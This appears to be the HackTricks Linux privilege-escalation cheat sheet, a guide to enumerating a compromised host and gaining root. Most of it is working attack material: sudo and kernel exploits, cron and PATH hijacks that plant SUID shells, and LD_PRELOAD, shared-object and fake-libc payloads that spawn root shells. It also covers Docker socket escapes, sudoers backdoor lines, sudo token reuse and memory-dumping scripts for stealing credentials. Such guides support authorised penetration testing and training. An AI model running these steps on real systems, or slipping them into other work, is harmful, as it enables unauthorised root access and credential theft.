Linux Privilege Escalation

If you want to know about my latest modifications/additions or you have any suggestion for HackTricks or PEASS, join the 💬 PEASS & HackTricks telegram group, or follow me on Twitter **[🐦](https://emojipedia.org/bird/)[@carlospolopm](https://twitter.com/carlospolopm). If you want to share some tricks with the community you can also submit pull requests to https://github.com/carlospolop/hacktricks that will be reflected in this book. Don't forget to** give ⭐ on the github to motivate me to continue developing this book.

System Information

OS info

Let's starting gaining some knowledge of the OS running

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null

Path

If you have write permissions on any folder inside the PATH variable you may be able to hijacking some libraries or binaries:

echo $PATH

Env info

Interesting information, passwords or API keys in the environment variables?

(env || set) 2>/dev/null

Kernel exploits

Check the kernel version and if there is some exploit that can be used to escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

You can find a good vulnerable kernel list and some already compiled exploits here: https://github.com/lucyoa/kernel-exploits and exploitdb sploits. Other sites where you can find some compiled exploits: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

To extract all the vulnerable kernel versions from that web you can do:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Tools that could help searching for kernel exploits are:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py (execute IN victim,only checks exploits for kernel 2.x)

Always search the kernel version in Google, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid.

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo version

Based on the vulnerable sudo versions that appear in:

searchsploit sudo

You can check if the sudo version is vulnerable using this grep.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo <= v1.28

From @sickrov

sudo -u#-1 /bin/bash

Dmesg signature verification failed

Check smasher2 box of HTB for an example of how this vuln could be exploited

dmesg 2>/dev/null | grep "signature"

More system enumeration

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Enumerate possible defenses

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
    aa-status
  elif [ `which apparmor_status 2>/dev/null` ]; then
    apparmor_status
  elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
    ls -d /etc/apparmor*
  else
    echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

 (sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

If you are inside a docker container you can try to escape from it:

Docker Breakout

Drives

Check what is mounted and unmounted, where and why. If anything is unmounted you could try to mount it and check for private info

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Installed Software

Useful software

Enumerate useful binaries

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Also, check if any compiler is installed. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar)

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Vulnerable Software Installed

Check for the version of the installed packages and services. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges… It is recommended to check manually the version of the more suspicious installed software.

dpkg -l #Debian
rpm -qa #Centos

If you have SSH access to the machine you could also use openVAS to check for outdated and vulnerable software installed inside the machine.

Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some application like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits

Processes

Take a look to what processes are being executed and check if any process has more privileges that it should (maybe a tomcat being executed by root?)

ps aux
ps -ef
top -n 1

Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect parameter inside the command line of the process. Also check your privileges over the processes binaries, maybe you can overwrite someone.

Process monitoring

You can use tools like pspy to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.

Process memory

Some services of a server save credentials in clear text inside the memory. Normally you will need root privileges to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials. However, remember that as a regular user you can read the memory of the processes you own.

GDB

If you have access to the memory of a FTP service (for example) you could get the Heap and search inside of it the credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB Script

dump-memory.sh

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
    | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
    | while read start stop; do \
    gdb --batch --pid $1 -ex \
    "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

For a given process ID, maps shows how memory is mapped within that processes' virtual address space; it also shows the permissions of each mapped region. The mem pseudo file exposes the processes memory itself. From the maps file we know which memory regions are readable and their offsets. We use this information to seek into the mem file and dump all readable regions to a file.

procdump()
(
    cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
    while read a b; do
        dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
           skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
    done )
    cat $1*.bin > $1.dump
    rm $1*.bin
)

/dev/mem

/dev/mem provides access to the system's physical memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem. Typically, /dev/mem is only readable by root and kmem group.

strings /dev/mem -n10 | grep -i PASS

Tools

To dump a process memory you could use:

https://github.com/hajzer/bash-memory-dump (root) - You can manually remove root requirements and dump process owned by you
Script A.5 from https://www.delaat.net/rp/2016-2017/p97/report.pdf (root is required)

Credentials from Process Memory

Manual example

If you find that the authenticator process is running:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

The tool https://github.com/huntergregal/mimipenguin will steal clear text credentials from memory and from some well known files. It requires root privileges to work properly.

Feature

Process Name

GDM password (Kali Desktop, Debian Desktop)

gdm-password

Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)

gnome-keyring-daemon

LightDM (Ubuntu Desktop)

lightdm

VSFTPd (Active FTP Connections)

vsftpd

Apache2 (Active HTTP Basic Auth Sessions)

apache2

OpenSSH (Active SSH Sessions - Sudo Usage)

sshd:

Scheduled/Cron jobs

Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron path

For example, inside /etc/crontab you can find the PATH: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Note how the user "user" has writing privileges over /home/user)

If inside this crontab the root user tries to execute some command or script without setting the path. For example: * * * * root overwrite.sh Then, you can get a root shell by using:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron using a script with a wildcard (Wildcard Injection)

If a script being executed by root has a “*” inside a command, you could exploit this to make unexpected things (like privesc). Example:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

If the wildcard is preceded of a path like /some/path/* , it's not vulnerable (even ./* is not).

Read the following page for more wildcard exploitation tricks:

Wildcards Spare tricks

Cron script overwriting and symlink

If you can modify a cron script executed by root, you can get a shell very easily:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

If the script executed by root uses a directory where you have full access, maybe it could be useful to delete that folder and create a symlink folder to another one serving a script controlled by you

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Frequent cron jobs

You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.

For example, to monitor every 0.1s during 1 minute, sort by less executed commands and deleting the commands that have beeing executed all the time, you can do:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

You can also use pspy (this will monitor and list every process that start).

Invisible cron jobs

It's possible to create a cronjob putting a carriage return after a comment (without new line character), and the cron job will work. Example (note the carriege return char):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Services

Writable .service files

Check if you can write any .service file, if you can, you could modify it so it executes your backdoor when the service is started, restarted or stopped (maybe you will need to wait until the machine is rebooted). For example create your backdoor inside the .service file with ExecStart=/tmp/script.sh

Writable service binaries

Keep in mid that if you have write permissions over binaries being executed by services, you can change them for backdoors so when the services get re-executed the backdoors will be executed.

systemd PATH - Relative Paths

You can see the PATH used by systemd with:

systemctl show-environment

If you find that you can write in any of the folders of the path you may be able to escalate privileges. You need to search for relative paths being used on service configurations files like:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Then, create a executable with the same name as the relative path binary inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (Start, Stop, Reload), your backdoor will be executed (unprivileged users usually cannot start/stop services but check if you can using sudo -l).

Learn more about services with man systemd.service.

Timers

Timers are systemd unit files whose name ends in . timer that control . service files or events. Timers can be used as an alternative to cron. Timers have built-in support for calendar time events, monotonic time events, and can be run asynchronously.

You can enumerate all the timers doing:

systemctl list-timers --all

Writable timers

If you can modify a timer you can make it execute some existent systemd.unit (like a .service or a .target)

Unit=backdoor.service

In the documentation you can read what the Unit is:

The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.

Therefore, in order to abuse this permissions you would need to:

Find some systemd unit (like a .service) that is executing a writable binary
Find some systemd unit that is executing a relative path and you have writable privileges over the systemd PATH (to impersonate that executable)

Learn more about timers with man systemd.timer.

Enabling Timer

In order to enable a timer you need root privileges and to execute:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

In brief, a Unix Socket (technically, the correct name is Unix domain socket, UDS) allows communication between two different processes on either the same machine or different machines in client-server application frameworks. To be more precise, it’s a way of communicating among computers using a standard Unix descriptors file. (From here).

Sockets can be configured using .socket files.

Learn more about sockets with man systemd.socket. Inside this file some several interesting parameters can be configured:

ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: This options are different but as summary as used to indicate where is going to listen the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen...).
Accept: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable for Accept=no.
ExecStartPre, ExecStartPost: Takes one or more command lines, which are executed before or after the listening sockets/FIFOs are created and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
ExecStopPre, ExecStopPost: Additional commands that are executed before or after the listening sockets/FIFOs are closed and removed, respectively.
Service: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.

Writable .socket files

If you find a writable .socket file you can add at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted. Note that the system must be using that socket file configuration or the backdoor won't be executed

Writable sockets

If you identify any writable socket (now where are talking about Unix Sockets, not about the config .socket files), then, you can communicate with that socket and maybe exploit a vulnerability.

Enumerate Unix Sockets

netstat -a -p --unix

Raw connection

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

HTTP sockets

Note that there may be some sockets listening for HTTP requests (I'm not talking about .socket files but about the files acting as unix sockets). You can check this with:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

If the socket respond with a HTTP request, then you can communicate with it and maybe exploit some vulnerability.

Writable Docker Socket

The docker socket is typically located at /var/run/docker.sock and is only writable by root user and docker group. If for some reason you have write permissions over that socket you can escalate privileges. The following commands can be used to escalate privileges:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Use docker web API from socket without docker package

If you have access to docker socket but you can't use the docker binary (maybe it isn't even installed), you can use directly the web API with curl.

The following commands are a example to create a docker container that mount the root of the host system and use socat to execute commands into the new docker.

# List docker images
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
##[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
# Send JSON to docker API to create the container
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
##{"Id":"<NewContainerID>","Warnings":[]}
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start

The last step is to use socat to initiate a connection to the container, sending an attach request

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

#HTTP/1.1 101 UPGRADED
#Content-Type: application/vnd.docker.raw-stream
#Connection: Upgrade
#Upgrade: tcp

Now, you can execute commands on the container from this socat connection.

Others

Note that if you have write permissions over the docker socket because you are inside the group docker you have more ways to escalate privileges. If the docker API is listening in a port you can also be able to compromise it.

Containerd (ctr) privilege escalation

If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-BUS is an inter-process communication (IPC) system, providing a simple yet powerful mechanism allowing applications to talk to one another, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.

D-BUS, as a full-featured IPC and object system, has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think UNIX domain sockets on steroids. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately to integrate better. For example, a Bluetooth dæmon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. **(From here).

D-Bus uses an allow/deny model, where each message (method call, signal emission, etc.) can be allowed or denied according to the sum of all policy rules which match it. Each or rule in the policy should have the own, send_destination or receive_sender attribute set.

Part of the policy of /etc/dbus-1/system.d/wpa_supplicant.conf:

<policy user="root">
    <allow own="fi.w1.wpa_supplicant1"/>
    <allow send_destination="fi.w1.wpa_supplicant1"/>
    <allow send_interface="fi.w1.wpa_supplicant1"/>
    <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Therefore, if a policy is allowing your user in anyway to interact with the bus, you could be able to exploit it to escalate privileges (maybe just listing for some passwords?).

Note that a policy that doesn't specify any user or group affects everyone (<policy>). Policies to the context "default" affects everyone not affected by other policies (<policy context="default").

Learn how to enumerate and exploit a D-Bus communication here:

D-Bus Enumeration & Command Injection Privilege Escalation

Network

It's always interesting to enumerate the network and figure out the position of the machine.

Generic enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Open ports

Always check network services running on the machine that you wasn't able to interact with before accessing to it:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Sniffing

Check if you can sniff traffic. If you can, you could be able to grab some credentials.

timeout 1 tcpdump

Users

Generic Enumeration

Check who you are, which privileges do you have, which users are in the systems, which ones can login and which ones have root privileges:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Big UID

Some Linux versions were affected by a bug that allow users with UID > INT_MAX to escalate privileges. More info: here, here and here. Exploit it using: systemd-run -t /bin/bash

Groups

Check if you are a member of some group that could grant you root privileges:

Interesting Groups - Linux PE

Clipboard

Check if anything interesting is located inside the clipboard (if possible)

if [ `which xclip 2>/dev/null` ]; then
    echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
    echo "Highlighted text: "`xclip -o 2>/dev/null`
  elif [ `which xsel 2>/dev/null` ]; then
    echo "Clipboard: "`xsel -ob 2>/dev/null`
    echo "Highlighted text: "`xsel -o 2>/dev/null`
  else echo "Not found xsel and xclip"
  fi

Password Policy

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Known passwords

If you know any password of the environment try to login as each user using the password.

Su Brute

If don't mind about doing a lot of noise and su and timeout binaries are present on the computer you can try to brute-force user using su-bruteforce. Linpeas with -a parameter also try to brute-force users.

Writable PATH abuses

$PATH

If you find that you can write inside some folder of the $PATH you may be able to escalate privileges by creating a backdoor inside the writable folder with the name of some command that is going to be executed by a different user (root ideally) and that is not loaded from a folder that is located previous to your writable folder in $PATH.

SUDO and SUID

You could be allowed to execute some command using sudo or they could have the suid bit. Check it using:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Some unexpected commands allows you to read and/or write files or even execute command. For example:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo configuration might allow a user to execute some command with another user privileges without knowing the password.

$ sudo -l
User demo may run the following commands on crashlab:
    (root) NOPASSWD: /usr/bin/vim

In this example the user demo can run vim as root, it is now trivial to get a shell by adding an ssh key into the root directory or by calling sh.

sudo vim -c '!sh'

SETENV

This directive allows the user to set an environment variable while executing something:

$ sudo -l
User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

This example, based on HTB machine Admirer, was vulnerable to PYTHONPATH hijacking in order to load an arbitrary python library while executing the script as root:

sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh

Sudo execution bypassing paths

Jump to read other files or use symlinks. For example in sudeores file: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

If a wilcard is used (*), it is even easier:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Countermeasures: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary without command path

If the sudo permission is given to a single command without specifying the path: hacker10 ALL= (root) less you can exploit it by changing the PATH variable

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

This technique can also be used if a suid binary executes another command without specifying the path to it (always check with strings the content of a weird SUID binary).

Payload examples to execute.

SUID binary with command path

If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.

For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Then, when you call the suid binary, this function will be executed

LD_PRELOAD

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

To avoid this mechanism being used as an attack vector for suid/sgid executable binaries, the loader ignores LD_PRELOAD if ruid != euid. For such binaries, only libraries in standard paths that are also suid/sgid will be preloaded.

If you find inside the output of sudo -l the sentence: env_keep+=LD_PRELOAD and you can call some command with sudo, you can escalate privileges.

Defaults        env_keep += LD_PRELOAD

Save as /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

Then compile it using:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Finally, escalate privileges running

sudo LD_PRELOAD=pe.so <COMMAND> #Use any command you can run with sudo

SUID Binary – so injection

If you find some weird binary with SUID permissions, you could check if all the .so files are loaded correctly. In order to do so you can execute:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

For example, if you find something like: pen(“/home/user/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory) you can exploit it.

Create the file /home/user/.config/libcalc.c with the code:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Compile it using:

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c

And execute the binary.

GTFOBins

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks.

gdb -nx -ex '!sh' -ex quit sudo mysql -e '! /bin/sh' strace -o /dev/null /bin/sh sudo awk 'BEGIN {system("/bin/sh")}'

GTFOBins

FallOfSudo

If you can access sudo -l you can use the tool FallOfSudo to check if it finds how to exploit any sudo rule.

Reusing Sudo Tokens

In the scenario where you have a shell as a user with sudo privileges but you don't know the password of the user, you can wait him to execute some command using sudo. Then, you can access the token of the session where sudo was used and use it to execute anything as sudo (privilege escalation).

Requirements to escalate privileges:

You already have a shell as user "sampleuser"
"sampleuser" have used sudo to execute something in the last 15mins (by default that's the duration of the sudo token that allows to use sudo without introducing any password)
cat /proc/sys/kernel/yama/ptrace_scope is 0
gdb is accessible (you can be able to upload it)

(You can temporarily enable ptrace_scope with echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope or permanently modifying /etc/sysctl.d/10-ptrace.conf and setting kernel.yama.ptrace_scope = 0)

If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject

The first exploit (exploit.sh) will create the binary activate_sudo_token in /tmp. You can use it to activate the sudo token in your session (you won't get automatically a root shell, do sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

The second exploit (exploit_v2.sh) will create a sh shell in /tmp owned by root with setuid

bash exploit_v2.sh
/tmp/sh -p

The third exploit (exploit_v3.sh) will create a sudoers file that makes sudo tokens eternal and allows all users to use sudo

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

If you have write permissions in the folder or on any of the created files inside the folder you can use the binary write_sudo_token to create a sudo token for a user and PID. For example if you can overwrite the file /var/run/sudo/ts/sampleuser and you have a shell as that user with PID 1234, you can obtain sudo privileges without needing to know the password doing:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

The file /etc/sudoers and the files inside /etc/sudoers.d configure who can use sudo and how. This files by default can only be read by user root and group root. If you can read this file you could be able to obtain some interesting information, and if you can write any file you will be able to escalate privileges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

If you can write you can abuse this permissions

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Other way to abuse these permissions:

# makes it so every terminal can sudo  
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

There are some alternatives to the sudo binary such as doas for OpenBSD, remember to check its configuration at /etc/doas.conf

permit nopass demo as root cmd vim

Shared Library

ld.so

The file /etc/ld.so.conf indicates where are loaded the configurations files from. Typically, this file contains the following path: include /etc/ld.so.conf.d/*.conf

That means that the configuration files from /etc/ld.so.conf.d/*.conf will be read. This configuration files points to another folders where libraries are going to be searched for. For example, the content of /etc/ld.so.conf.d/libc.conf is /usr/local/lib. This means that the system will search for libraries inside /usr/local/lib.

If for some reason a user has write permissions on any of the paths indicated: /etc/ld.so.conf, /etc/ld.so.conf.d/, any file inside /etc/ld.so.conf.d/ or any folder indicated inside any config file inside /etc/ld.so.conf.d/*.conf he may be able to escalate privileges. Take a look about how to exploit this misconfiguration in the following page:

ld.so exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
 linux-gate.so.1 =>  (0x0068c000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x005bb000)

By copying the lib into /var/tmp/flag15/ it will be used by the program in this place as specified in the RPATH variable.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
 linux-gate.so.1 =>  (0x005b0000)
 libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x00737000)

Then create an evil library in /var/tmp with gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 char *file = SHELL;
 char *argv[] = {SHELL,0};
 setresuid(geteuid(),geteuid(), geteuid());
 execve(file,argv,0);
}

Capabilities

Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. Read the following page to learn more about capabilities and how to abuse them:

Linux Capabilities

ACLs

ACLs are a second level of discretionary permissions, that may override the standard ugo/rwx ones. When used correctly they can grant you a better granularity in setting access to a file or a directory, for example by giving or denying access to a specific user that is neither the file owner, nor in the group owner (from here). Give user "kali" read and write permissions over a file:

setfacl -m u:kali:rw file.txt

Get files with specific ACLs from the system:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Open shell sessions

In old versions you may hijack some shell session of a different user (root). In newest versions you will be able to connect to screen sessions only of your own user. However, you could find interesting information inside of the session.

screen sessions hijacking

List screen sessions

screen -ls

Attach to a session

screen -dr <session> #The -d is to detacche whoever is attached to it
